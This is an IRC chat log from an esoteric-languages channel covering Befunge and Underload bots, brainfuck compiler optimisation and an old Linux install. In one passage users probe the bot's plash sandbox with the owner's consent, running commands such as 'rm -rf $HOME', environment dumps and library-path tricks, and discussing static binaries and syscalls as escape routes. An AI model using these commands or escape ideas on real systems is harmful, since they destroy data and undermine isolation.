21:29:54 D isn't so very different 21:29:54 -!- calamous has joined. 21:30:10 True, that is a pointless distinction as well. 21:30:29 I don't like D's approach of going for C compatibility. 21:30:43 I understand why it does and it's probably a good idea but I don't like it. 21:31:12 Deewiant, if you want a perfect language with no odd bits go use R5RS or someting 21:31:14 thing* 21:31:23 That's not what this is about. 21:31:54 Deewiant, yes, it is still force of habit. 21:32:00 so indeed 21:32:05 because sure you looked at GAS 21:32:09 but you were used to intel 21:32:15 Not really, I wasn't. 21:32:22 I could barely deal with either. 21:32:26 which did you see first 21:32:37 I don't remember, that's probably over 10 years ago. 21:33:09 Deewiant, oh also, you shouldn't need to write 0x 21:33:22 You don't, you can write h instead. :-P 21:33:27 nor that 21:33:41 it should be smart enough 21:33:46 You need some way to distinguish between different number bases. 21:33:49 so if it saw any letters in the range a-f 21:33:53 it would use hex amnyway 21:33:55 anyway* 21:34:01 f00 can be both an identifier and a number. 21:34:04 Hence 0x is needed. 21:34:10 or possibly always use minimal possible base 21:34:18 so 20 was in base 3 21:34:24 34 in base 5 21:34:28 :-D 21:34:28 and so on 21:34:32 That's a good idea for an esolang 21:34:37 yes it is 21:34:53 ^ul (-)S(O)(~:S:*(- -)S~:^):^ 21:34:53 -O- -OO- -OOOO- -OOOOOOOO- -OOOOOOOOOOOOOOOO- -OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO- -OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO- -OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO- -OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO ...too much output! 21:35:02 2^O 21:35:16 +ul (-)S(O)(~:S:*(- -)S~:^):^ 21:35:18 -O- -OO- -OOOO- -OOOOOOOO- -OOOOOOOOOOOOOOOO- -OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO- -OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO- -OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO ...too much output! 21:35:24 !underload (-)S(O)(~:S:*(- -)S~:^):^ 21:35:25 meh 21:35:30 it is too long to write out 21:35:36 ais523, why is EgoBot so slow there 21:35:37 !help 21:35:38 Supported commands: bf_txtgen help info 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 c cxx dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl 21:35:49 a bug in your interpreter 21:35:49 AnMaster: my guess is that it's because it doesn't have a cutoff for too much output 21:35:50 or what 21:35:54 !underload (-)S(O)(~:S:*(- -)S~:^):^ 21:35:55 ah 21:35:59 It probably does. 21:36:07 It just cuts off /after/ it's run the whole thing or timed out. 21:36:16 Well, I guess that's what you meant anyway. 21:36:18 Deewiant, so he added that 21:36:28 since it spammed with me the whole mycology as you remember 21:36:30 last time 21:36:32 $ ./derlo 21:36:33 (-)S(O)(~:S:*(- -)S~:^):^ 21:36:35 -O- -OO- -OOOO- -OOOOOOOO- -OOOOOOOOOOOOOOOO- -OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO- -OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO- -OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO- -O 21:36:35 Oh, it did? 21:36:37 that's cut off by hand 21:36:38 I missed that. 21:36:52 Deewiant, go read log 21:37:01 from yesterday or whenever it was 21:37:03 err 21:37:03 How did you manage to run Mycology over IRC? O_o 21:37:05 2 days ago 21:37:08 Deewiant, it takes url 21:37:09 urls* 21:37:10 Ah. 21:37:17 Heh. 21:37:17 Deewiant, so I put it up 21:37:19 :-P 21:39:48 Deewiant, do !befunge98 http://rage.kuonet.org/~anmaster/mycology.b98 21:39:52 to see it yourself 21:39:53 in /msg 21:40:08 No thanks ;-) 21:40:14 last I checked it excess flooded off every few minutes 21:40:35 AnMaster: do you have sanity.b98 up? 21:40:38 that would be a lot saner... 21:40:55 sanity.bf* 21:41:02 ah, ok 21:41:02 ais523, no 21:41:04 It's fully Befunge-93 compliant! 21:41:10 someone else could put it up 21:41:12 if they wanted it 21:46:19 ais523, pull from my ick branch. 21:46:32 ais523, and I see no changes to pull from you 21:46:33 :/ 21:46:40 go work more on ick! ;P 21:46:52 AnMaster: final exams for me atm 21:46:56 so I have to be careful about what I do with my time 21:46:57 ais523, ah ok 21:47:03 going home, anyway 21:47:05 ais523, like spending hours on irc 21:47:05 Me too, but that hardly matters ;-) 21:47:06 meh 21:47:08 ais523, cya 21:47:15 AnMaster: yes, IRC is one of my favourite uses of spare time 21:47:19 -!- ais523 has quit (Remote closed the connection). 21:47:55 * oerjan _assumes_ that wasn't sarcastic, but you never know... 21:48:56 !sh echo LAWL 21:48:57 LAWL 21:49:13 !sh echo Gregor shouldn\'t trust plash this much :P 21:49:13 Gregor shouldn't trust plash this much :P 21:49:46 plash? 21:50:10 !sh '; ls 21:50:25 Deewiant: It puts it in a file, that's just an invalid script :P 21:50:33 !sh ls 21:50:33 Makefile 21:50:48 !sh pwd 21:50:49 /home/egobot/egobot.hg/multibot_cmds 21:51:44 ¡sh rm -rf $HOME 21:52:00 Or? 21:52:08 Deewiant: Won't let you. 21:52:10 Deewiant: Feel free. 21:52:22 !sh rm Makefile && ls Makefile 21:52:35 !sh ls Makefile 21:52:36 Makefile 21:52:38 :-P 21:52:39 Deewiant: It's the '&&' that failed there. 21:52:50 Ah, duh >_< 21:52:53 !sh rm Makefile; ls Makefile 21:52:53 Makefile 21:53:00 Read-only FS? 21:53:04 Deewiant: Yup 21:53:33 !sh uname -a 21:53:34 Linux codu.org 2.6.26-1-xen-amd64 #1 SMP Sat Jan 10 20:39:26 UTC 2009 x86_64 GNU/Linux 21:53:37 !sh ls /etc 21:53:38 alternatives 21:53:43 um 21:53:46 just one file 21:53:50 Very little of the filesystem is exposed. 21:53:54 !sh echo /etc/* 21:53:57 GregorR, how is it done 21:53:58 !sh ls /bin | xargs echo 21:54:05 AnMaster: http://google.com/search?q=plash 21:54:09 GregorR, it seems fairly broken 21:54:11 !sh find / | xargs echo 21:54:11 / 21:54:22 AnMaster: Broken in what way? It seems to work great to me. 21:54:24 !sh ls / 21:54:25 !sh ls /bin 21:54:28 !sh echo /* 21:54:33 like those 21:54:39 I would have expected to see /bin and such 21:54:42 Or it's just slow. 21:54:46 !sh echo 1 21:54:46 1 21:54:48 Or not. 21:54:53 !sh ls /bin | xargs echo 21:54:53 bash busybox cat chgrp chmod chown chvt cp cpio date dd df dir dmesg dnsdomainname dumpkeys echo ed egrep false fgconsole fgrep fuser grep gunzip gzexe gzip hostname ip kbd_mode kill less lessecho lessfile lesskey lesspipe ln loadkeys login ls lsmod mkdir mknod mktemp more mount mountpoint mt mt-gnu mv nano nc nc.traditional netcat netstat open openvt pidof ping ping6 ps pwd rbash readlink rm rmdir rnano run-parts sed setfont sh sleep stty su sync tai 21:54:57 !sh echo $BASH_VERSION 21:54:57 3.2.48(1)-release 21:55:05 so 21:55:08 why did && fail 21:55:08 If you want insecure, 21:55:10 since it is bash 21:55:16 AnMaster: Because rm failed 21:55:24 ah right 21:55:27 !sh cat /proc/1/cmdline 21:55:28 init [2] 21:55:35 !sh env 21:55:36 PLASH_FAKE_GID=0 21:55:41 ah spamming msg 21:55:43 lets see 21:55:53 !sh /bin/file /bin/busybox 21:56:03 !sh /usr/bin/file /bin/busybox 21:56:03 AnMaster: The spamming is not going to be useful for >5 messages 21:56:04 /bin/busybox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), stripped 21:56:07 damn 21:56:10 dynamically linked 21:56:16 And if it wasn't? 21:56:18 !sh echo foo 21:56:19 foo 21:56:23 !sh env | grep LD 21:56:24 LD_LIBRARY_PATH=/usr/lib/plash/lib 21:56:29 !sh whoami 21:56:34 hm ok 21:56:38 not LD_PRELOAD 21:56:41 it seems 21:56:42 !sh unset LD_LIBRARY_PATH; echo hi 21:56:42 hi 21:56:48 !sh env | grep LD 21:56:49 LD_LIBRARY_PATH=/usr/lib/plash/lib 21:56:51 !sh unset LD_LIBRARY_PATH; cat Makefile 21:56:51 !sh ls / 21:56:57 damn 21:57:03 hm 21:57:06 !sh echo foo; ls / 21:57:06 foo 21:57:10 The tricky thing about plash is that the LD_LIBRARY that's loaded in /allows/ it to see anything. 21:57:13 !sh unset LD_LIBRARY_PATH; env | grep ld 21:57:14 I_ARG=unset LD_LIBRARY_PATH; env | grep ld 21:57:16 By default it /can't/ see anything. 21:57:28 GregorR, how 21:57:35 AnMaster: It has a special libc 21:57:46 GregorR, yes right. But what prevents me from using another one 21:57:56 I mean a statically linked binary or such 21:57:59 AnMaster: It's in a chroot jail with nothing in it, running as a fake user. 21:58:00 or the asm thing 21:58:15 GregorR, a different chroot than the egobot one? 21:58:18 Yes. 21:58:31 (plash dynamically makes chroot jails) 21:58:43 GregorR, so egobot runs as root 21:58:46 since it can chroot 21:58:54 AnMaster: plash is setuid root to make chroots 21:58:58 ah 21:59:01 EgoBot runs as egobot 21:59:08 !sh ls /usr/sbin | xargs echo 21:59:09 accessdb activateCmosToken add-shell addgroup adduser arp arpd ascii2enUS_scancode aspell-autobuildhash assetTag avahi-daemon biosdecode chgpasswd chpasswd chroot ck-log-system-restart ck-log-system-start ck-log-system-stop cleanup-info console-kit-daemon cpgr cppw createUnitTestFiles cron cytune defoma-reconfigure delgroup dellBiosUpdate dellLEDCtl dellLcdBrightness dellMediaDirectCtl dellWirelessCtl deluser disable_console_redir dmidecode dpkg-diver 21:59:18 ... activateCmosToken? >_O 21:59:23 what 21:59:33 !sh /usr/sbin/activateCmosToken --help 21:59:36 !sh dpkg-query -l | xargs echo 21:59:38 hm 21:59:52 !sh ls /sbin | echo 22:00:06 err 22:00:13 why did EgoBot just say this 22:00:14 BTW, the ultimate purpose of all this silliness is that I'm making daemons work again, and I'd like it to be possible to write daemons in non-esolangs. 22:00:14 in /msg 22:00:16 SSH_CLIENT=65.183.185.209 36199 22 22:00:16 IRC_NICK=AnMaster 22:00:28 AnMaster: Its messages have exponential backoff. 22:00:28 I thought we weren't doing env any more 22:00:33 GregorR, ah 22:00:33 AnMaster: So that was from a much earlier env. 22:00:41 Daemons? 22:00:50 GregorR, how long will it spam me 22:01:00 Until it's done. 22:01:02 !sh ls /usr/bin | echo 22:01:10 xargs 22:01:11 !sh echo hi 22:01:12 hi 22:01:15 !sh ls /usr/bin | xargs echo 22:01:16 X11 [ a2p addpart addr2line appletviewer apropos apt apt-cache apt-cdrom apt-config apt-extracttemplates apt-ftparchive apt-get apt-key apt-mark apt-sortpkgs aptitude aptitude-create-state-bundle aptitude-run-state-bundle ar as aspell aspell-import awk base64 basename bashbug bdftopcf bdftruncate bsd-write c++ c++filt c2ph c89 c89-gcc c99 c99-gcc c_rehash cal calendar captoinfo catchsegv catman cc chacl chage chattr chcon chfn chkdupexe chrt chsh ck-h 22:01:18 !sh ls /sbin | xargs echo 22:01:18 AnMaster: By my calculations, 15 minutes, then once more 15 minutes after that :P 22:01:35 !sh echo hi 22:01:36 Deewiant: Old EgoBot let users run programs in esoteric languages that would get their own !commands. 22:01:36 hi 22:01:38 !sh ls /sbin | xargs echo 22:01:43 Deewiant: I want to get that working again, and nearly have. 22:01:45 weird 22:01:53 GregorR, that is irritating 22:02:06 GregorR: So you could add them dynamically over IRC, or what? 22:02:12 Deewiant: Yeah. 22:02:15 GregorR, just simulate the freenode model 22:02:21 AnMaster: ? 22:02:35 GregorR, simulate the freenode rate limiting 22:02:40 to keep within those limits 22:02:43 iirc 22:02:45 it works like 22:02:47 I don't know how FreeNode does rate limiting. 22:02:52 each second add 1 to a count 22:02:54 counter* 22:02:57 to a max of 10 22:03:00 or something 22:03:02 2-second sleep between messages is enough. 22:03:11 each time a line is sent, substract one 22:03:16 if you hit 0 you are killed 22:03:23 anyway I don't remember the exact valyes 22:03:25 values* 22:03:30 but the algorithm was like that 22:03:45 GregorR, does that help 22:03:56 I'm not sure X-D 22:04:13 and what Deewiant said 22:04:28 I think I'll just use exponential backoff but cut it off earlier *shrugs* 22:05:26 GregorR, why 22:05:32 just do the 2 second thing 22:05:33 Eh, I'll poke around at that later. 22:05:40 and cut it off after 5 or 10 lines 22:05:48 AnMaster: I have no prioritization between processes. 22:05:53 that is of course 2 second delay globally 22:06:06 GregorR, so do it in the seralizer process 22:06:22 AnMaster: Yeah, but you could end up blocked by somebody else's process, which is irritating :) 22:06:29 GregorR, otherwise you could still spam it off. 22:06:30 easily 22:06:37 just connect multiple clients 22:06:43 and all send requests at once 22:06:51 I'm not trying to make it impossible, just that you have to be actively malicious rather than just make a mistake. 22:07:07 " AnMaster: Yeah, but you could end up blocked by somebody else's process, which is irritating :)" 22:07:08 what 22:07:11 that makes no sense 22:07:13 round robit 22:07:16 robin* 22:07:17 of course 22:07:32 You seem to think that multibot is far more complicated than it is :P 22:07:45 I have a bin that all the messages go in to. And that's it. That's the whole setup. 22:07:52 GregorR, no. I think it *should* be 22:08:14 Not worth the PITA right now *shrugs* 22:08:16 "Plash modifies library calls by providing a modified version of glibc, PlashGlibc. Most executables are dynamically linked to glibc, so they do not need to be recompiled in order to run under Plash." 22:08:17 so 22:08:23 what if I got a static executable in there 22:08:25 somehow 22:08:29 anyway 22:08:42 GregorR, do you use plash for the !asm and !c ones 22:08:44 The tricky thing about plash is that the LD_LIBRARY that's loaded in /allows/ it to see anything. By default it /can't/ see anything. 22:08:54 AnMaster: plash is used for /everything/ 22:09:02 GregorR, even for cfunge there 22:09:08 Yes 22:09:09 it wasn't yesterday 22:09:10 Everything. 22:09:11 -!- Slereah has joined. 22:09:12 I'm 100% sure 22:09:16 I added it this morning. 22:09:19 ah 22:09:26 GregorR, does it still work correctly 22:09:30 have you checked with mycology 22:09:36 >_< 22:09:40 I decided I wanted to worry a little bit less about bug checking the interps :P 22:09:41 GregorR, what. 22:09:50 Mycology is 12 trillion lines of output, right? 22:09:55 How about "Hello, world!" 22:09:57 GregorR, just run it manually 22:10:12 GregorR, there may be certain features only that doesn't work 22:10:23 Bleh, URL for mycology X_X 22:10:28 mycology would check that throughtly 22:10:29 sec 22:10:35 !befunge98 http://pastebin.ca/raw/1410667 22:10:43 !befunge http://pastebin.ca/raw/1410667 22:10:50 (Of course, I don't even know if that's valid befunge98 >_> ) 22:10:58 Hrm ... 22:11:01 GregorR, http://rage.kuonet.org/~anmaster/mycology.b98 22:11:30 Have I mentioned that you're annoying? :P 22:11:30 GregorR: That looks like it should work. 22:11:43 GregorR, yes you have now 22:12:34 !befunge 'A,@ 22:12:38 !befunge98 'A,@ 22:12:39 A 22:12:41 well 22:12:45 that doesn't test much 22:12:47 * oerjan gives GregorR his "AnMaster is annoying" badge 22:12:52 BAD: 32x doesn't set delta to (3, 2) 22:12:53 oerjan, I'm not 22:13:03 i never said you were 22:13:09 GregorR, um. That doesn't happen freestanding does it 22:13:12 That's pretty fail-y for an interpreter right there. 22:13:16 i just distribute the badges 22:13:18 Deewiant, agreed. 22:13:26 it doesn't happen when I do it normall 22:13:31 normally* 22:13:46 It does appear to happen freestanding. 22:13:58 GregorR, sure you are using cfunge not the other one then 22:14:17 * oerjan gives AnMaster an "Elephants are pink, tiny with whiskers and can fly" badge 22:14:18 X_X 22:14:22 I can't reproduce it here. 22:14:27 hmm, i wonder what is the most optimizing brainfuck compiler and how does it do. 22:14:45 GregorR, and it worked yesterday 22:14:47 AnMaster: No interpreter on http://iki.fi/matti.niemenmaa/befunge/mycology-comparison.html fails at that. 22:14:54 Deewiant, nor does cfunge here 22:15:01 S - T - F - U 22:15:04 I'm looking in to it. 22:15:16 $ build/cfunge mycology/mycology.b98 | grep BAD 22:15:16 If the interpreter loads the fingerprint, subsequent lines will be GOOD or BAD depending on whether the interpreter behaves according to the fingerprint's specification. 22:15:25 that is all 22:15:34 which is not a BAD but just an info line 22:15:58 GregorR, maybe you managed to mess up download *wgets from that url to check* 22:16:20 wget-ed one worked 22:16:23 X_X 22:16:30 What part of "S - T - F - U" don't you understand. 22:16:37 I'm looking in to it, if I have questions I'll ask you. 22:16:40 right 22:16:43 If not, your spamming me that it should work is not helpful. 22:17:10 I'm going to bed soon though, early morning tomorrow. But I will be around for maybe half an hour 22:18:32 i have written some brainfuck-to-c compiler just out of curiosity, but i want to see world-class optimization ;) 22:19:11 libbf seems to have some optimization passes but i'm not sure. 22:19:41 lifthrasiir, I wrote one too. It kind of worked not very well 22:19:54 like it compiled all in a single function 22:20:02 lostkingdom caused gcc to OOM 22:20:11 -!- WangZeDong has quit (Connection timed out). 22:20:13 at 2 GB heap size 22:20:18 still growing 22:20:23 many compilers claiming optimization feature, in reality, only fold <<<>>>s etc. 22:20:57 some compilers optimize [-], but that's all. i have seen only three or four compilers which optimizes multiplication loop. 22:21:12 lifthrasiir, I did more. 1) folded +-<> 2) I made [-] set 0 3) [-]+++ -> set 3 4) I folded some loops into polynoms 22:21:19 oh I also tried to reorganise code 22:21:19 It actually works fine, something (now fixed) removed the \x00 in the input. 22:21:30 GregorR, ah 22:21:36 the \0 should be there 22:21:40 like +>-<+ 22:21:40 Clearly :P 22:21:44 became ++>-< 22:21:48 lifthrasiir, ^ 22:21:54 okay 22:21:56 which was then folded into 2+>-< 22:22:00 which was then made into 22:22:10 0:2+1:1- 22:22:16 so I removed the <> too 22:22:18 when possible 22:22:32 and only adjusted pointer when I entered some unbalanced loop or such 22:22:55 "4) I folded some loops into polynoms" seems interesting. any details? 22:23:01 lifthrasiir, I didn't optimise multiplication loop. I got bored before that. 22:23:06 ;) 22:23:08 lifthrasiir, it was based on some other compiler 22:23:10 forgot which 22:23:16 oh well. 22:23:17 and it only semi-worked 22:23:19 got borked 22:23:20 bored* 22:23:24 and yes it got borked too 22:23:27 let me find url anyway 22:23:31 http://hg.mearie.org/esotope/bfc/file/tip/esotope-bfc.py my attempt is here. 22:23:44 (change file to raw-file for downloading) 22:23:52 http://bzr.kuonet.org/before/trunk/changes 22:23:53 there 22:23:54 I think 22:24:07 lifthrasiir, it didn't do it's job very well 22:24:40 and polynom.h wasn't used 22:24:50 I got bored before that version 22:25:03 see simple_polynom instead 22:25:11 http://bzr.kuonet.org/before/trunk/annotate/head:/src/optimize.c 22:25:25 http://bzr.kuonet.org/before/trunk/annotate/head:/src/node.h 22:25:26 http://bzr.kuonet.org/before/trunk/annotate/head:/src/node.c 22:25:39 are the most important ones 22:26:39 lifthrasiir, tell me if you want any more info 22:26:46 or want me to explain it 22:27:53 well, i think my attempt is same as yours; 22:28:16 lifthrasiir, "bff4" might be worth checking out 22:28:44 it combines every <+>-s into the list and tries to eliminate dead code and propagate. 22:28:47 http://mazonka.com/brainf/ 22:28:53 lifthrasiir, mine or your 22:28:57 or bff4 22:29:06 my attempt 22:29:26 so tightloop pass unrolls one loop, primarily for multiplications 22:29:54 !befunge98 http://pastebin.ca/raw/1410667 22:29:54 Hello world 22:30:07 My sandbox sandboxed networking away from the wget that downloads the requested file X-P 22:30:09 That was dumb. 22:30:20 but since i'm using expression classes for intermediate representation i should write some simplification codes for it 22:30:24 GregorR, so it broke \0 that way 22:30:26 huh 22:30:30 and that is not done yet. 22:30:44 AnMaster: No, that was unrelated. 22:30:46 lifthrasiir, I think I planned to run mine recursively until optimisation didn't change the code tree 22:30:50 AnMaster: That was just because of how I was testing it. 22:30:53 ah 22:31:10 GregorR, so mycology works inside the jail then 22:31:14 if so good 22:31:19 Yes. 22:31:22 i got hello world program (as seen in wikipedia pages FYI) optimized to this: 22:31:24 mptr[1] += 9; mptr[0] += (8 * mptr[1]); mptr[1] = 0; putchar(*mptr); mptr[1] += 7; mptr[0] += ((4 * mptr[1]) + 1); mptr[1] = 0; putchar(*mptr); ... 22:32:30 GregorR, and if so you possibly doesn't need -S from cfunge. It would allow you to do some interesting stuff like file io and socket io 22:32:31 ;P 22:32:44 I don't want to give it sockets :P 22:32:57 I'm fine with file I/O at this point if you'd like to make a more precise option. 22:33:02 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 22:33:05 -!- puzzlet has joined. 22:33:25 GregorR, maybe I'll put that on TODO 22:33:33 Shore 22:33:47 it isn't something I'll add right now anyway 22:33:55 GregorR, what prevents the !asm one from making direct syscalls 22:34:10 AnMaster: Nothing. 22:34:42 Those were just a silly experiment (which, btw, is now gone :P ) 22:34:48 GregorR, ouch 22:34:51 they were fun! 22:34:57 They were X-P 22:35:08 GregorR, you removed them after I said syscall didn't you 22:35:10 ;P 22:35:24 No, but I was removing them as you said that. 22:35:29 The only syscall I'm afraid of is socket. 22:35:30 GregorR, :( 22:35:41 All the other stuff is fine because it's running in a chroot jail as a fake user. 22:35:43 hm... 22:35:57 iptables and match on uid 22:35:58 idea 22:36:07 !help 22:36:07 Supported commands: bf_txtgen help info 1l 2l adjust axo bch befunge befunge98 bf bf16 bf32 bf8 dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl 22:36:09 ... iptables can do that? >_O 22:36:21 GregorR, iirc there is an owner match yes 22:36:37 If so, I'll set that up and put them back. 22:36:38 GregorR, not sure if it is part of standard kernel sources or just part of gentoo hardened 22:36:43 Ah 22:36:48 GregorR, go check 22:36:58 kernel sources it seems 22:37:00 I am. 22:37:02 since I have it in vanilla 22:37:18 22:11 GregorR: Have I mentioned that you're annoying? :P ← You don't say. 22:37:19 22:34 GregorR: Those were just a silly experiment (which, btw, is now gone :P ) 22:37:20 :( 22:37:22 :(((((((((((( 22:37:26 !c printf("NOOO!!\n") 22:37:34 RIP EgoBot-being-fun 2009-2009 22:37:46 ehird, C isn't an esolang 22:38:00 Don't care. 22:38:06 │ CONFIG_NETFILTER_XT_MATCH_OWNER: │ 22:38:14 │ Socket owner matching allows you to match locally-generated packets │ 22:38:14 │ based on who created the socket: the user or group. It is also │ 22:38:14 │ possible to check whether a socket actually exists. │ 22:38:24 GregorR, ^ 22:38:28 part of vanilla 22:39:04 owner match options: 22:39:05 [!] --uid-owner userid[-userid] Match local UID 22:39:05 [!] --gid-owner groupid[-groupid] Match local GID 22:39:05 [!] --socket-exists Match if socket exists 22:39:07 -!- tombom has quit ("Peace and Protection 4.22.2"). 22:39:18 Cool, it's in Debian :) 22:39:30 I'm trying to see if there's a way to make it range-based though. 22:39:32 GregorR, you use a standard kernel 22:39:33 eww 22:39:35 ;P 22:39:43 Oh, duh 22:39:46 userid[-userid] 22:39:50 yes 22:39:53 Bah, I'll have to make my own arbitrary-code-execution bot. WITH BLACKJACK AND HOOKERS. 22:39:53 That's a range X-P 22:40:03 ehird, why 22:40:09 ehird, read the context 22:40:21 AnMaster: PLASH IS FASCIST SYSTEM RESTRICTEr 22:40:21 R 22:40:32 ehird, he used that all the time for C 22:40:33 afaik 22:40:38 EXECUTION LIBÉRATIONE! 22:40:59 Yay Mastodon downloaded. 22:41:00 ehird, what is the dirt over the first E in the second word 22:41:08 it isn't on my monitor 22:41:09 ´. 22:41:12 no 22:41:17 oh right 22:41:18 small font 22:41:20 meh 22:41:42 -!- oklopol has joined. 22:42:03 * lifthrasiir comparing http://pastie.org/466231 (before output) and http://pastie.org/466232 (esotope-bfc output) 22:42:39 of course i didn't write template for expanding memory. :p 22:43:12 Mastodon time! 22:43:23 ehird, didn't you have it before 22:43:24 ... 22:43:29 AnMaster: the netinstall didn't work 22:43:40 so I downloaded the beta disk 22:43:47 ah 22:43:50 ehird, how large 22:44:00 AnMaster: 300-so megabytes @ 50kb/sec. 22:44:02 Took >1hr. 22:44:16 Screenshot of the installer: (it has COLOURS!) 22:44:23 ehird, AAIE that is large 22:44:26 ehird, where 22:44:31 Sec. 22:44:32 is the screenshot 22:44:40 lifthrasiir, hah 22:44:40 Sec I said. 22:44:45 AnMaster: http://omploader.org/vMW00cA 22:44:48 And it's not THAT big., 22:44:51 s/,$// 22:44:53 lifthrasiir, your optimise better right 22:45:02 It contains all the binaries, probably unstripped, with libc 5 and gcc 2 22:45:03 in tarballs 22:45:13 No networking at all, and a full system with things like adobe acrobat 22:45:16 lifthrasiir, as well as produces nicer output 22:45:16 (version 4 :-D) 22:45:23 AnMaster: not so good yet, but i want to optimize further so there is only putchar('H'); putchar('e'); ... and so on. :) 22:45:28 ANYHO! 22:45:46 lifthrasiir, would only be possible for a special case 22:45:49 lifthrasiir: you can optimize any loop with the same amount of s to a polynomial 22:46:01 ehird, yes 22:46:03 read scrollback 22:46:07 ehird: yes. and what i have done is exactly that 22:46:07 I know. 22:46:12 ah. good. 22:46:19 OK, AnMaster: Mastodon install time. 22:46:27 AnMaster: http://omploader.org/vMW00cA <-- simplistic installed 22:46:29 installer* 22:46:32 wow, it even has a helpfile 22:46:38 though it cannot handle non-constant increments/decrements for now. 22:46:38 but why so much transparent padding around the window 22:46:38 you can press F1 and get info on the current installer screen 22:46:40 including advice 22:46:41 in the screenshot 22:46:43 AnMaster: shadow 22:46:43 it seems odd 22:46:46 use a non-black BG 22:46:51 to see it 22:47:02 ehird, err I use the checker pattern 22:47:04 in gimp 22:47:05 -!- Gracenotes has quit (Remote closed the connection). 22:47:07 Odd. 22:47:13 and I see it a third of the way 22:47:14 not more 22:47:39 lifthrasiir, so is it better than mine or worse 22:48:02 AnMaster: Here, have a screenshot of the help: http://omploader.org/vMW00cQ 22:48:19 AnMaster: i'm not sure, i'll check for them. 22:48:33 It's a pretty sleek installer for a >7 year old project by one guy 22:48:37 (especially for nested loop optimization) 22:48:47 Automatic installation GOOO! 22:48:50 lifthrasiir, I didn't properly do nested loops 22:48:54 lawl, it only does the first disk 22:48:56 no other option :D 22:49:02 lifthrasiir, and as I said I gave up on it 22:49:04 got bored 22:49:19 AnMaster: http://omploader.org/vMW00cg 22:49:25 lifthrasiir, is esotope-bfc written in C or some other language 22:49:25 then yours and mine is perhaps at same level, i also didn't optimize nested loops 22:49:28 now it's on to X 22:49:31 Xfree86 3.3.6 22:49:32 xD 22:49:37 python, and it's slow like hell 22:49:39 lifthrasiir, well not much 22:49:41 a bit I did 22:49:58 31% 22:50:01 Quick install! 22:50:07 ehird, what do you expect 22:50:13 it had to work on old computers 22:50:28 AnMaster: I dunno, so far this is the easiest, quickest Linux distro install I've done :-) 22:50:44 ehird, quickest ok 22:50:46 Kind of disillusioning. Yay, it's installing kernel version 2.0.28 :-P 22:50:56 And Perl 5.6! And Tcl/tk 8! 22:51:01 A veritable smorgasbord of languages. 22:51:03 teTeX! 22:51:07 It's bloated, clearly ;-) 22:51:07 ehird, what is the last tcl/tk 22:51:13 AnMaster: it was 8.0.4 this one 22:51:13 ehird, *mastodon* 22:51:16 bloated yes 22:51:17 and I think 8.6.something 22:51:26 ehird, perl 5.6 is old iirc 22:51:30 very old 22:51:41 v5.8.8 here is semi-old 22:52:02 AnMaster: it's installed, now it wants me to set up the identity! 22:52:09 Host name: yeolde 22:52:15 haha 22:52:16 Domain name: yeolde 22:52:17 fitting 22:52:21 ehird, err 22:52:25 ok 22:52:28 maybe 22:52:30 AnMaster: it just puts it in /etc/hosts, I think 22:52:34 or sth 22:52:38 [NEXT] 22:52:39 Sweet, it works 8-D 22:52:39 ehird, I hate networking 22:52:53 GregorR, so now we get !asm and such back 22:52:55 good 22:52:59 Configure this device by hand OR Use dhcp/bootp for automatic configuration OR Do not configure this device 22:53:07 hurr, when's the last time anyone last manually configured a networking device :P 22:53:09 Yeah, just a sec :) 22:53:12 !sh help 22:53:15 hm 22:53:22 !help 22:53:23 GregorR: It wants me to set up "Yellow Pages (NIS) administration" 22:53:29 I'll just leave NIS domain blank and NEXT :-P 22:53:29 GregorR, it's dead 22:53:36 Use ntp to set the time? 22:53:38 Yesplz. 22:53:38 "Just a sec" 22:53:39 you blocked it too 22:53:43 hey guys. 22:53:44 I bet 22:53:45 AnMaster: what's a good utc ntp server 22:53:51 ehird, hm 22:53:59 ehird, all use utc 22:54:02 fine fine 22:54:03 so most of them 22:54:04 what's a good ntp server 22:54:11 ehird, openntpd 22:54:12 iirc 22:54:18 no 22:54:18 i mean 22:54:19 domain name 22:54:21 :^) 22:54:24 ehird: http://www.pool.ntp.org/zone/europe 22:54:32 oh se.pool.nt.org 22:54:35 or something iirc 22:54:48 [0123].europe.pool.ntp.org, OK 22:54:48 server se.pool.ntp.org 22:54:49 yes 22:54:59 !sh echo hi 22:55:06 ... huh 22:55:12 ehird: Well, unless you want to use a UK one or whatever. 22:55:24 Deewiant: It's mastodon; I really don't care :-) 22:55:28 NEXT! 22:55:31 Meh. 22:55:35 Pick a timezone! 22:55:51 Europe London! 22:56:12 AnMaster: http://omploader.org/vMW00dg 22:56:14 This distro is nice :P 22:56:15 Oh, I've managed to entirely kill it, awesome :P 22:56:16 !help 22:56:32 -!- EgoBot has quit (Remote closed the connection). 22:56:35 -!- EgoBot has joined. 22:56:38 !help 22:56:38 Supported commands: bf_txtgen help info 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 c cxx dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail 